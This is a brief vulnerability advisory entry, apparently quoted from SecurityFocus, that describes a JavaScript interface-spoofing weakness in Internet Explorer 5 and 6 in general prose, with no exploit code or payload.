Microsoft Internet Explorer 5/6 - JavaScript Interface Spoofing

source: https://www.securityfocus.com/bid/3469/info

It is reported that Microsoft Internet Explorer may permit aspects of the Internet Explorer interface to be spoofed. This could facilitate numerous attacks against users of the browser, including spoofing of both graphical components of the underlying operating system and overlaying browser components.

This misrepresentation may fool a user into taking dangerous actions. Users could then take further actions that compromise sensitive information based on this false sense of trust.
